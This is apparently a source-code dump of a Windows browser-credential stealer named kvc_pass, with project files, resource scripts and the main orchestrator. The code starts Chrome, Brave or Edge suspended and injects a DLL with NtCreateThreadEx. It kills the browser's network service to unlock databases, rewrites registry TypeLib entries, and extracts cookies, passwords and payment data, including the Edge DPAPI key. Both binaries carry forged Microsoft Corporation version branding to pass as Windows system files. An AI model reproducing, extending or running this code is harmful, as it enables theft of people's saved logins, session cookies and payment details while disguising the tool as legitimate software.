                                             (LPTHREAD_START_ROUTINE)entryPoint, remotePipeNameAddr, 0, 0, 0, 0, nullptr);

    UniqueHandle remoteThreadGuard(hRemoteThread);

    if (!NT_SUCCESS(status))
        throw std::runtime_error("NtCreateThreadEx failed: " + Utils::NtStatusToString(status));

    m_console.Debug("Successfully created new thread for security module.");
}

<<<FILE: kvc_pass/InjectionEngine.h>>>
Created:  2026-02-27 12:50:26
Modified: 2025-09-29 15:02:30
Size:     1.07 KB
// InjectionEngine.h - PE injection and remote execution management
#ifndef INJECTION_ENGINE_H
#define INJECTION_ENGINE_H

#include <Windows.h>
#include <vector>
#include <string>
#include "BrowserProcessManager.h"
#include "CommunicationLayer.h"

// Handles DLL injection and remote thread execution
class InjectionManager
{
public:
    InjectionManager(TargetProcess& target, const Console& console);

    // Performs complete injection workflow: load, parse, inject, execute
    void execute(const std::wstring& pipeName);

private:
    // Loads security module from disk into memory buffer
    void loadSecurityModuleFromFile(const std::string& modulePath);

    // Parses PE export table to find entry point offset
    DWORD getInitializeSecurityContextOffset();

    // Creates remote thread to execute injected code
    void startSecurityThreadInTarget(PVOID remoteModuleBase, DWORD rdiOffset, PVOID remotePipeNameAddr);

    TargetProcess& m_target;
    const Console& m_console;
    std::vector<BYTE> m_moduleBuffer;
};

#endif // INJECTION_ENGINE_H

<<<FILE: kvc_pass/kvc_crypt.def>>>
Created:  2026-02-27 12:50:26
Modified: 2025-09-11 00:05:00
Size:     0.04 KB
EXPORTS
InitializeSecurityContext

<<<FILE: kvc_pass/kvc_crypt.rc>>>
Created:  2026-02-27 12:50:26
Modified: 2026-04-09 21:04:44
Size:     2.17 KB
#pragma code_page(65001)
// Microsoft Visual C++ generated resource script.
// kvc_crypt DLL Resource File - Microsoft Corporation branding
//
#include "resource.h"

#define APSTUDIO_READONLY_SYMBOLS
/////////////////////////////////////////////////////////////////////////////
//
// Generated from the TEXTINCLUDE 2 resource.
//
#include "winres.h"

/////////////////////////////////////////////////////////////////////////////
#undef APSTUDIO_READONLY_SYMBOLS

/////////////////////////////////////////////////////////////////////////////
// English (United States) resources

#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENU)
LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US

/////////////////////////////////////////////////////////////////////////////
//
// Version Information - Microsoft Corporation branding identical to kvc.exe
//

VS_VERSION_INFO VERSIONINFO
 FILEVERSION 10,0,26800,6317
 PRODUCTVERSION 10,0,26800,6317
 FILEFLAGSMASK 0x3fL
#ifdef _DEBUG
 FILEFLAGS 0x1L
#else
 FILEFLAGS 0x0L
#endif
 FILEOS 0x40004L
 FILETYPE 0x2L          // DLL file type
 FILESUBTYPE 0x0L
BEGIN
    BLOCK "StringFileInfo"
    BEGIN
        BLOCK "040904b0"
        BEGIN
            VALUE "CompanyName", "Microsoft Corporation"
            VALUE "FileDescription", "Windows System Component"
            VALUE "FileVersion", "10.0.26800.6317"
            VALUE "InternalName", "kvc_crypt.dll"
            VALUE "LegalCopyright", "© Microsoft Corporation. All rights reserved."
            VALUE "OriginalFilename", "kvc_crypt.dll"
            VALUE "ProductName", "Microsoft® Windows® Operating System"
            VALUE "ProductVersion", "10.0.26800.6317"
        END
    END
    BLOCK "VarFileInfo"
    BEGIN
        VALUE "Translation", 0x409, 1200
    END
END

#endif    // English (United States) resources
/////////////////////////////////////////////////////////////////////////////

#ifndef APSTUDIO_INVOKED
/////////////////////////////////////////////////////////////////////////////
//
// Generated from the TEXTINCLUDE 3 resource.
//

/////////////////////////////////////////////////////////////////////////////
#endif    // not APSTUDIO_INVOKED

<<<FILE: kvc_pass/kvc_crypt.vcxproj>>>
Created:  2026-02-27 12:50:26
Modified: 2026-04-04 22:54:22
Size:     5.2 KB
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <ItemGroup Label="ProjectConfigurations">
    <ProjectConfiguration Include="Release|x64">
      <Configuration>Release</Configuration>
      <Platform>x64</Platform>
    </ProjectConfiguration>
  </ItemGroup>
  <PropertyGroup Label="Globals">
    <VCProjectVersion>17.0</VCProjectVersion>
    <ProjectGuid>{00000000-0000-0000-0000-000000000003}</ProjectGuid>
    <RootNamespace>chromedecrypt</RootNamespace>
    <WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
  </PropertyGroup>
  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
    <ConfigurationType>DynamicLibrary</ConfigurationType>
    <UseDebugLibraries>false</UseDebugLibraries>
    <PlatformToolset>v145</PlatformToolset>
    <CharacterSet>Unicode</CharacterSet>
    <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
    <WholeProgramOptimization>true</WholeProgramOptimization>
  </PropertyGroup>
  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
  <ImportGroup Label="ExtensionSettings">
  </ImportGroup>
  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
    <Import Project="$(VCTargetsPath)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(VCTargetsPath)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
  </ImportGroup>
  <PropertyGroup Label="UserMacros" />
  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
    <LinkIncremental>false</LinkIncremental>
    <OutDir>$(SolutionDir)bin\</OutDir>
    <IntDir>$(SolutionDir)obj\$(ProjectName)\$(Configuration)\$(Platform)\</IntDir>
    <TargetName>kvc_crypt</TargetName>
    <UseStructuredOutput>false</UseStructuredOutput>
  </PropertyGroup>
  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
    <ClCompile>
      <WarningLevel>Level3</WarningLevel>
      <FunctionLevelLinking>true</FunctionLevelLinking>
      <IntrinsicFunctions>true</IntrinsicFunctions>
      <SDLCheck>false</SDLCheck>
      <PreprocessorDefinitions>NDEBUG;_WINDOWS;_USRDLL;BUILDING_DLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
      <ConformanceMode>true</ConformanceMode>
      <LanguageStandard>stdcpplatest</LanguageStandard>
      <AdditionalIncludeDirectories>$(SolutionDir)kvc;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
      <BufferSecurityCheck>false</BufferSecurityCheck>
      <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
      <Optimization>MinSpace</Optimization>
      <OmitFramePointers>true</OmitFramePointers>
      <StringPooling>true</StringPooling>
      <AdditionalOptions>/utf-8 /GS- /Gy /Gw /Os /Brepro %(AdditionalOptions)</AdditionalOptions>
      <IgnoreSpecificDefaultLibraries>ole32.lib;oleaut32.lib;%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
    </ClCompile>
    <Link>
      <SubSystem>Windows</SubSystem>
      <EnableCOMDATFolding>true</EnableCOMDATFolding>
      <OptimizeReferences>true</OptimizeReferences>
      <GenerateDebugInformation>false</GenerateDebugInformation>
      <AdditionalDependencies>ole32.lib;oleaut32.lib;shell32.lib;bcrypt.lib;crypt32.lib;winsqlite3.lib;%(AdditionalDependencies)</AdditionalDependencies>
      <AdditionalLibraryDirectories>$(ProjectDir);%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
      <AdditionalOptions>/OPT:REF /OPT:ICF=10 /MERGE:.rdata=.text /NXCOMPAT /Brepro /NOIMPLIB /NOEXP /INCREMENTAL:NO %(AdditionalOptions)</AdditionalOptions>
      <ModuleDefinitionFile>kvc_crypt.def</ModuleDefinitionFile>
      <LinkTimeCodeGeneration>UseLinkTimeCodeGeneration</LinkTimeCodeGeneration>
      <StripPrivateSymbols>true</StripPrivateSymbols>
      <TargetMachine>MachineX64</TargetMachine>
      <IgnoreSpecificDefaultLibraries>msvcprt.lib;%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
    </Link>
    <ResourceCompile>
      <Culture>0x0409</Culture>
      <AdditionalIncludeDirectories>$(SolutionDir)kvc;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
    </ResourceCompile>
  </ItemDefinitionGroup>
  <ItemGroup>
    <ClCompile Include="CryptCore.cpp" />
    <ClCompile Include="BrowserCrypto.cpp" />
    <ClCompile Include="DataExtraction.cpp" />
    <ClCompile Include="CommunicationModule.cpp" />
    <ClCompile Include="SelfLoader.cpp" />
  </ItemGroup>
  <ItemGroup>
    <ClInclude Include="CryptCore.h" />
    <ClInclude Include="BrowserCrypto.h" />
    <ClInclude Include="DataExtraction.h" />
    <ClInclude Include="CommunicationModule.h" />
    <ClInclude Include="..\kvc\resource.h" />
    <ClInclude Include="SelfLoader.h" />
    <ClInclude Include="winsqlite3.h" />
  </ItemGroup>
  <ItemGroup>
    <ResourceCompile Include="kvc_crypt.rc" />
  </ItemGroup>
  <Target Name="RemoveVCRuntimeResources" AfterTargets="Link">
    <Exec Command="if exist &quot;@(FinalOutputPath)&quot; echo Building minimal DLL..." />
  </Target>
  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
  <ImportGroup Label="ExtensionTargets">
  </ImportGroup>
</Project>

<<<FILE: kvc_pass/kvc_pass.rc>>>
Created:  2026-02-27 12:50:26
Modified: 2026-04-09 21:04:44
Size:     2.69 KB
#pragma code_page(65001)
// Microsoft Visual C++ generated resource script.
// kvc_pass Resource File - Microsoft Corporation branding
//
#include "resource.h"

#define APSTUDIO_READONLY_SYMBOLS
/////////////////////////////////////////////////////////////////////////////
//
// Generated from the TEXTINCLUDE 2 resource.
//
#include "winres.h"

/////////////////////////////////////////////////////////////////////////////
#undef APSTUDIO_READONLY_SYMBOLS

/////////////////////////////////////////////////////////////////////////////
// English (United States) resources

#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENU)
LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US

#ifdef APSTUDIO_INVOKED
/////////////////////////////////////////////////////////////////////////////
//
// TEXTINCLUDE
//

1 TEXTINCLUDE 
BEGIN
    "resource.h\0"
END

2 TEXTINCLUDE 
BEGIN
    "#include ""winres.h""\r\n"
    "\0"
END

3 TEXTINCLUDE 
BEGIN
    "\r\n"
    "\0"
END

#endif    // APSTUDIO_INVOKED

/////////////////////////////////////////////////////////////////////////////
//
// Icon
//

// Main application icon using kvc.ico for consistency
IDI_ICON1               ICON                    "ICON\\kvc.ico"

/////////////////////////////////////////////////////////////////////////////
//
// Version Information - Microsoft Corporation branding identical to kvc.exe
//

VS_VERSION_INFO VERSIONINFO
 FILEVERSION 10,0,26800,6317
 PRODUCTVERSION 10,0,26800,6317
 FILEFLAGSMASK 0x3fL
#ifdef _DEBUG
 FILEFLAGS 0x1L
#else
 FILEFLAGS 0x0L
#endif
 FILEOS 0x40004L
 FILETYPE 0x1L
 FILESUBTYPE 0x0L
BEGIN
    BLOCK "StringFileInfo"
    BEGIN
        BLOCK "040904b0"
        BEGIN
            VALUE "CompanyName", "Microsoft Corporation"
            VALUE "FileDescription", "Windows System Process"
            VALUE "FileVersion", "10.0.26800.6317"
            VALUE "InternalName", "kvc_pass.exe"
            VALUE "LegalCopyright", "© Microsoft Corporation. All rights reserved."
            VALUE "OriginalFilename", "kvc_pass.exe"
            VALUE "ProductName", "Microsoft® Windows® Operating System"
            VALUE "ProductVersion", "10.0.26800.6317"
        END
    END
    BLOCK "VarFileInfo"
    BEGIN
        VALUE "Translation", 0x409, 1200
    END
END

#endif    // English (United States) resources
/////////////////////////////////////////////////////////////////////////////

#ifndef APSTUDIO_INVOKED
/////////////////////////////////////////////////////////////////////////////
//
// Generated from the TEXTINCLUDE 3 resource.
//

/////////////////////////////////////////////////////////////////////////////
#endif    // not APSTUDIO_INVOKED

<<<FILE: kvc_pass/kvc_pass.vcxproj>>>
Created:  2026-03-29 17:20:02
Modified: 2026-04-04 22:54:22
Size:     4.64 KB
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <ItemGroup Label="ProjectConfigurations">
    <ProjectConfiguration Include="Release|x64">
      <Configuration>Release</Configuration>
      <Platform>x64</Platform>
    </ProjectConfiguration>
  </ItemGroup>
  <PropertyGroup Label="Globals">
    <VCProjectVersion>17.0</VCProjectVersion>
    <ProjectGuid>{00000000-0000-0000-0000-000000000004}</ProjectGuid>
    <RootNamespace>kvc_pass</RootNamespace>
    <WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
  </PropertyGroup>
  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
    <ConfigurationType>Application</ConfigurationType>
    <UseDebugLibraries>false</UseDebugLibraries>
    <PlatformToolset>v145</PlatformToolset>
    <WholeProgramOptimization>true</WholeProgramOptimization>
    <CharacterSet>Unicode</CharacterSet>
    <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
  </PropertyGroup>
  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
  <ImportGroup Label="ExtensionSettings">
    <Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
  </ImportGroup>
  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
    <Import Project="$(VCTargetsPath)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(VCTargetsPath)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
  </ImportGroup>
  <PropertyGroup Label="UserMacros" />
  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
    <LinkIncremental>false</LinkIncremental>
    <OutDir>$(SolutionDir)bin\</OutDir>
    <IntDir>$(SolutionDir)obj\$(ProjectName)\$(Configuration)\$(Platform)\</IntDir>
    <TargetName>kvc_pass</TargetName>
  </PropertyGroup>
  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
    <ClCompile>
      <WarningLevel>Level3</WarningLevel>
      <FunctionLevelLinking>true</FunctionLevelLinking>
      <IntrinsicFunctions>true</IntrinsicFunctions>
      <SDLCheck>false</SDLCheck>
      <PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
      <ConformanceMode>true</ConformanceMode>
      <LanguageStandard>stdcpplatest</LanguageStandard>
      <AdditionalIncludeDirectories>$(SolutionDir)kvc;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
      <BufferSecurityCheck>false</BufferSecurityCheck>
      <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
      <Optimization>MinSpace</Optimization>
      <FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
      <AdditionalOptions>/utf-8 /GS- /Gy /Gw /Brepro %(AdditionalOptions)</AdditionalOptions>
    </ClCompile>
    <Link>
      <SubSystem>Console</SubSystem>
      <EnableCOMDATFolding>true</EnableCOMDATFolding>
      <OptimizeReferences>true</OptimizeReferences>
      <GenerateDebugInformation>false</GenerateDebugInformation>
      <AdditionalOptions>/OPT:REF /OPT:ICF=5 /MERGE:.rdata=.text /MERGE:.pdata=.text /NXCOMPAT /INCREMENTAL:NO /Brepro %(AdditionalOptions)</AdditionalOptions>
    </Link>
    <ResourceCompile>
      <AdditionalIncludeDirectories>$(SolutionDir)kvc;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
    </ResourceCompile>
  </ItemDefinitionGroup>
  <ItemGroup>
    <ClCompile Include="OrchestratorCore.cpp" />
    <ClCompile Include="BrowserProcessManager.cpp" />
    <ClCompile Include="InjectionEngine.cpp" />
    <ClCompile Include="CommunicationLayer.cpp" />
    <ClCompile Include="syscalls.cpp" />
    <ClCompile Include="EdgeDPAPI.cpp" />
    <ClCompile Include="BannerSystem.cpp" />
    <ClCompile Include="BrowserHelp.cpp" />
  </ItemGroup>
  <ItemGroup>
    <ClInclude Include="OrchestratorCore.h" />
    <ClInclude Include="BrowserProcessManager.h" />
    <ClInclude Include="InjectionEngine.h" />
    <ClInclude Include="CommunicationLayer.h" />
    <ClInclude Include="..\kvc\resource.h" />
    <ClInclude Include="syscalls.h" />
    <ClInclude Include="EdgeDPAPI.h" />
    <ClInclude Include="BannerSystem.h" />
    <ClInclude Include="BrowserHelp.h" />
  </ItemGroup>
  <ItemGroup>
    <MASM Include="AbiTramp.asm" />
  </ItemGroup>
  <ItemGroup>
    <Image Include="..\kvc\ICON\kvc.ico" />
  </ItemGroup>
  <ItemGroup>
    <ResourceCompile Include="kvc_pass.rc" />
  </ItemGroup>
  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
  <ImportGroup Label="ExtensionTargets">
    <Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
  </ImportGroup>
</Project>

<<<FILE: kvc_pass/OrchestratorCore.cpp>>>
Created:  2026-03-29 01:27:02
Modified: 2026-03-29 16:26:33
Size:     18.49 KB
// OrchestratorCore.cpp - Main orchestration and application entry point
// Coordinates process management, injection, and extraction workflow
#include "OrchestratorCore.h"
#include "BrowserProcessManager.h"
#include "InjectionEngine.h"
#include "CommunicationLayer.h"
#include "BannerSystem.h"
#include "BrowserHelp.h"
#include "syscalls.h"
#include <iostream> 
#include <algorithm>
#include <map>
#include <sstream>

namespace
{
    constexpr const char* APP_VERSION = "1.0.1";
    constexpr const char* SECURITY_MODULE_NAME = "kvc_crypt.dll";
}

std::string g_securityModulePath;

// Parses command-line arguments into configuration structure
std::optional<Configuration> Configuration::CreateFromArgs(int argc, wchar_t* argv[], const Console& console)
{
    Configuration config;
    fs::path customOutputPath;

    for (int i = 1; i < argc; ++i)
    {
        std::wstring_view arg = argv[i];
        if (arg == L"--verbose" || arg == L"-v")
            config.verbose = true;
        else if ((arg == L"--output-path" || arg == L"-o") && i + 1 < argc)
            customOutputPath = argv[++i];
        else if (arg == L"--help" || arg == L"-h")
        {
            BrowserHelp::PrintUsage(L"kvc_pass.exe");
            return std::nullopt;
        }
        else if (config.browserType.empty() && !arg.empty() && arg[0] != L'-')
            config.browserType = arg;
        else
        {
            console.Warn("Unknown or misplaced argument: " + Utils::WStringToUtf8(arg));
            return std::nullopt;
        }
    }

    if (config.browserType.empty())
    {
        BrowserHelp::PrintUsage(L"kvc_pass.exe");
        return std::nullopt;
    }

    std::transform(config.browserType.begin(), config.browserType.end(), 
                  config.browserType.begin(), ::towlower);

    static const std::map<std::wstring, std::wstring> browserExeMap = {
        {L"chrome", L"chrome.exe"},
        {L"brave", L"brave.exe"},
        {L"edge", L"msedge.exe"}
    };

    auto it = browserExeMap.find(config.browserType);
    if (it == browserExeMap.end())
    {
        console.Error("Unsupported browser type: " + Utils::WStringToUtf8(config.browserType));
        return std::nullopt;
    }

    config.browserProcessName = it->second;

    BrowserPathResolver resolver(console);
    config.browserDefaultExePath = resolver.resolve(config.browserProcessName);

    if (config.browserDefaultExePath.empty())
    {
        console.Error("Could not find " + Utils::WStringToUtf8(config.browserType) + 
                     " installation in Registry");
        console.Info("Please ensure " + Utils::WStringToUtf8(config.browserType) + 
                    " is properly installed");
        return std::nullopt;
    }

    config.browserDisplayName = Utils::Capitalize(Utils::WStringToUtf8(config.browserType));
    config.outputPath = customOutputPath.empty() ? fs::current_path() / "output" : 
                       fs::absolute(customOutputPath);

    return config;
}

// Fix stale TypeLib registry paths after Chrome/Brave auto-update.
// Chrome updates its executable but sometimes leaves TypeLib registry entries pointing
// to the old (deleted) elevation_service.exe, causing CoCreateInstance TYPE_E_CANTLOADLIBRARY.
void FixChromeTypeLibPaths(const std::wstring& browserExePath, const Console& console)
{
    // Chrome installs to Application\chrome.exe but stores versioned binaries under
    // Application\<version>\elevation_service.exe. We must scan for the version directory.
    fs::path appDir = fs::path(browserExePath).parent_path();

    fs::path elevSvc;

    // Case 1: already in versioned dir (e.g. Application\146.0.7680.165\chrome.exe)
    fs::path candidate = appDir / L"elevation_service.exe";
    if (fs::exists(candidate))
        elevSvc = candidate;

    // Case 2: appDir is Application\, version dirs are subdirectories
    if (elevSvc.empty())
    {
        std::vector<int> bestVersion;
        std::error_code ec;
        for (const auto& entry : fs::directory_iterator(appDir, ec))
        {
            if (!entry.is_directory(ec))
                continue;

            std::wstring dirName = entry.path().filename().wstring();
            std::vector<int> parts;
            std::wistringstream ss(dirName);
            std::wstring token;
            bool valid = true;
            while (std::getline(ss, token, L'.'))
            {
                try { parts.push_back(std::stoi(token)); }
                catch (...) { valid = false; break; }
            }
            if (!valid || parts.size() != 4)
                continue;

            fs::path svcCandidate = entry.path() / L"elevation_service.exe";
            if (!fs::exists(svcCandidate, ec))
                continue;

            if (bestVersion.empty() || parts > bestVersion)
            {
                bestVersion = parts;
                elevSvc = svcCandidate;
            }
        }
    }

    if (elevSvc.empty())
        return;

    std::wstring newPath = elevSvc.wstring();

    const wchar_t* const typeLibGuids[] = {
        L"{463ABECF-410D-407F-8AF5-0DF35A005CC8}",  // IElevatorChrome
        L"{B88C45B9-8825-4629-B83E-77CC67D9CEED}",  // IElevatorChromium
        L"{A2721D66-376E-4D2F-9F0F-9070E9A42B5F}",  // IElevatorChromeBeta
        L"{BB2AA26B-343A-4072-8B6F-80557B8CE571}",  // IElevatorChromeDev
        L"{4F7CE041-28E9-484F-9DD0-61A8CACEFEE4}",  // IElevatorChromeCanary
    };

    for (const auto* guid : typeLibGuids)
    {
        for (const auto* arch : { L"win32", L"win64" })
        {
            std::wstring regPath = std::wstring(L"SOFTWARE\\Classes\\TypeLib\\") + guid + L"\\1.0\\0\\" + arch;
            HKEY hKey = nullptr;
            if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, regPath.c_str(), 0, KEY_READ | KEY_WRITE, &hKey) != ERROR_SUCCESS)
                continue;

            wchar_t curVal[MAX_PATH] = {};
            DWORD sz = sizeof(curVal);
            DWORD type = 0;
            if (RegQueryValueExW(hKey, nullptr, nullptr, &type, reinterpret_cast<LPBYTE>(curVal), &sz) == ERROR_SUCCESS
                && type == REG_SZ && !fs::exists(curVal))
            {
                RegSetValueExW(hKey, nullptr, 0, REG_SZ,
                    reinterpret_cast<const BYTE*>(newPath.c_str()),
                    static_cast<DWORD>((newPath.size() + 1) * sizeof(wchar_t)));
                console.Debug("Fixed stale TypeLib path for " + Utils::WStringToUtf8(guid) +
                    " [" + Utils::WStringToUtf8(arch) + "]");
            }
            RegCloseKey(hKey);
        }
    }
}

// Orchestrates complete injection workflow: cleanup, injection, execution, termination
PipeCommunicator::ExtractionStats RunInjectionWorkflow(const Configuration& config, const Console& console)
{
    std::vector<uint8_t> edgeDpapiKey;
    
    // Edge-specific: Extract DPAPI key in orchestrator before process creation
    if (config.browserType == L"edge")
    {
        // Try multiple possible Edge installation paths
        std::vector<fs::path> possiblePaths = {
            Utils::GetLocalAppDataPath() / "Microsoft" / "Edge" / "User Data" / "Local State",
            Utils::GetLocalAppDataPath() / "Microsoft" / "Edge Beta" / "User Data" / "Local State", 
            Utils::GetLocalAppDataPath() / "Microsoft" / "Edge Dev" / "User Data" / "Local State"
        };
        
        for (const auto& edgeLocalState : possiblePaths) 
        {
            if (fs::exists(edgeLocalState)) 
            {
                edgeDpapiKey = DecryptEdgePasswordKeyWithDPAPI(edgeLocalState, console);
                
                if (!edgeDpapiKey.empty()) 
                {
                    break;
                }
            }
        }
        
        if (edgeDpapiKey.empty()) 
        {
            console.Warn("Could not extract Edge DPAPI key - passwords may not be available");
        }
    }

    // For Chrome/Brave: fix stale TypeLib paths that break CoCreateInstance after auto-update
    if (config.browserType != L"edge")
        FixChromeTypeLibPaths(config.browserDefaultExePath, console);

    // Kill network service for all browsers — releases Cookies/LoginData DB locks
    // Keep main browser process alive for all browsers — COM elevation service must stay reachable
    KillBrowserNetworkService(config, console);


    // Create suspended target process
    TargetProcess target(config, console);
    target.createSuspended();

    // Establish named pipe communication
    PipeCommunicator pipe(Utils::GenerateUniquePipeName(), console);
    pipe.create();

    // Inject security module and create remote thread
    InjectionManager injector(target, console);
    injector.execute(pipe.getName());

    // Wait for module connection and send configuration
    pipe.waitForClient();
    pipe.sendInitialData(config.verbose, config.outputPath, edgeDpapiKey);

    // Kill network service again right before DLL starts extraction.
    // The DLL spends ~500ms on COM key decryption after receiving config,
    // so this second kill hits just before the Cookies database is opened.
    // Chrome rarely needs this because it restarts its network service slower than Edge.
    KillBrowserNetworkService(config, console);

    pipe.relayMessages();

    // Cleanup
    target.terminate();

    return pipe.getStats();
}

// Processes all installed browsers sequentially
void ProcessAllBrowsers(const Console& console, bool verbose, const fs::path& outputPath)
{
    if (verbose)
        console.Info("Starting multi-browser security analysis...");

    BrowserPathResolver resolver(console);
    auto installedBrowsers = resolver.findAllInstalledBrowsers();

    if (installedBrowsers.empty())
    {
        console.Error("No supported browsers found on this system");
        return;
    }

    if (!verbose)
        console.Info("Processing " + std::to_string(installedBrowsers.size()) + " browser(s):\n");

    int successCount = 0;
    int failCount = 0;

    for (size_t i = 0; i < installedBrowsers.size(); ++i)
    {
        const auto& [browserType, browserPath] = installedBrowsers[i];

        Configuration config;
        config.verbose = verbose;
        config.outputPath = outputPath;
        config.browserType = browserType;
        config.browserDefaultExePath = browserPath;
        
        static const std::map<std::wstring, std::pair<std::wstring, std::string>> browserMap = {
            {L"chrome", {L"chrome.exe", "Chrome"}},
            {L"edge",   {L"msedge.exe", "Edge"}},
            {L"brave",  {L"brave.exe",  "Brave"}}
        };

        auto it = browserMap.find(browserType);
        if (it != browserMap.end())
        {
            config.browserProcessName = it->second.first;
            config.browserDisplayName = it->second.second;
        }

        if (verbose)
        {
            console.Info("\n[Browser " + std::to_string(i + 1) + "/" + 
                        std::to_string(installedBrowsers.size()) +
                        "] Processing " + config.browserDisplayName);
        }

        try
        {
            auto stats = RunInjectionWorkflow(config, console);
            successCount++;

            if (verbose)
            {
                console.Success(config.browserDisplayName + " analysis completed");
            }
            else
            {
                DisplayExtractionSummary(config.browserDisplayName, stats, console, false, 
                                        config.outputPath);
                if (i < installedBrowsers.size() - 1)
                    std::cout << std::endl;
            }
        }
        catch (const std::exception& e)
        {
            failCount++;

            if (verbose)
            {
                console.Error(config.browserDisplayName + " analysis failed: " + std::string(e.what()));
            }
            else
            {
                console.Info(config.browserDisplayName);
                console.Error("Analysis failed");
                if (i < installedBrowsers.size() - 1)
                    std::cout << std::endl;
            }
        }
    }

    std::cout << std::endl;
    console.Info("Completed: " + std::to_string(successCount) + " successful, " + 
                std::to_string(failCount) + " failed");
}

// Displays formatted extraction summary with statistics
void DisplayExtractionSummary(const std::string& browserName, 
                              const PipeCommunicator::ExtractionStats& stats,
                              const Console& console, bool singleBrowser, 
                              const fs::path& outputPath)
{
    if (singleBrowser)
    {
        if (!stats.aesKey.empty())
            console.Success("AES Key: " + stats.aesKey);

        std::string summary = BuildExtractionSummary(stats);
        if (!summary.empty())
        {
            console.Success(summary);
            console.Success("Stored in " + Utils::path_to_api_string(outputPath / browserName));
        }
        else
        {
            console.Warn("No data extracted");
        }
    }
    else
    {
        console.Info(browserName);

        if (!stats.aesKey.empty())
            console.Success("AES Key: " + stats.aesKey);

        std::string summary = BuildExtractionSummary(stats);
        if (!summary.empty())
        {
            console.Success(summary);
            console.Success("Stored in " + Utils::path_to_api_string(outputPath / browserName));
        }
        else
        {
            console.Warn("No data extracted");
        }
    }
}

// Builds human-readable summary from extraction statistics
std::string BuildExtractionSummary(const PipeCommunicator::ExtractionStats& stats)
{
    std::stringstream summary;
    std::vector<std::string> items;

    if (stats.totalCookies > 0)
        items.push_back(std::to_string(stats.totalCookies) + " cookies");
    if (stats.totalPasswords > 0)
        items.push_back(std::to_string(stats.totalPasswords) + " passwords");
    if (stats.totalPayments > 0)
        items.push_back(std::to_string(stats.totalPayments) + " payments");

    if (!items.empty())
    {
        summary << "Extracted ";
        for (size_t i = 0; i < items.size(); ++i)
        {
            if (i > 0 && i == items.size() - 1)
                summary << " and ";
            else if (i > 0)
                summary << ", ";
            summary << items[i];
        }
        summary << " from " << stats.profileCount << " profile" 
                << (stats.profileCount != 1 ? "s" : "");
    }

    return summary.str();
}

// Application entry point
int wmain(int argc, wchar_t* argv[])
{
    bool isVerbose = false;
    std::wstring browserTarget;
    fs::path outputPath;
    
    // Locate security module in current directory or System32
    auto findSecurityModule = []() -> std::string {
        if (fs::exists(SECURITY_MODULE_NAME))
            return SECURITY_MODULE_NAME;
        
        wchar_t systemDir[MAX_PATH];
        if (GetSystemDirectoryW(systemDir, MAX_PATH) > 0) {
            std::string systemPath = Utils::WStringToUtf8(systemDir) + "\\" + SECURITY_MODULE_NAME;
            if (fs::exists(systemPath))
                return systemPath;
        }
        
        return "";
    };

    g_securityModulePath = findSecurityModule();
    if (g_securityModulePath.empty())
    {
        std::wcerr << L"Error: " << SECURITY_MODULE_NAME 
                   << L" not found in current directory or System32!" << std::endl;
        return 1;
    }
    
    // Quick argument parsing for early options
    for (int i = 1; i < argc; ++i)
    {
        std::wstring_view arg = argv[i];
        if (arg == L"--verbose" || arg == L"-v")
            isVerbose = true;
        else if ((arg == L"--output-path" || arg == L"-o") && i + 1 < argc)
            outputPath = argv[++i];
		if (arg == L"--help" || arg == L"-h")
		{
			BrowserHelp::PrintUsage(L"kvc_pass.exe");
			return 0;
		}
        else if (browserTarget.empty() && !arg.empty() && arg[0] != L'-')
            browserTarget = arg;
    }

    Console console(isVerbose);
    Banner::PrintHeader();
    
    // Verify SQLite library availability
    if (!CheckWinSQLite3Available())
    {
        console.Warn("winsqlite3.dll not available - trying fallback to sqlite3.dll");
        if (!fs::exists("sqlite3.dll"))
        {
            console.Error("Neither winsqlite3.dll nor sqlite3.dll available");
            return 1;
        }
    }

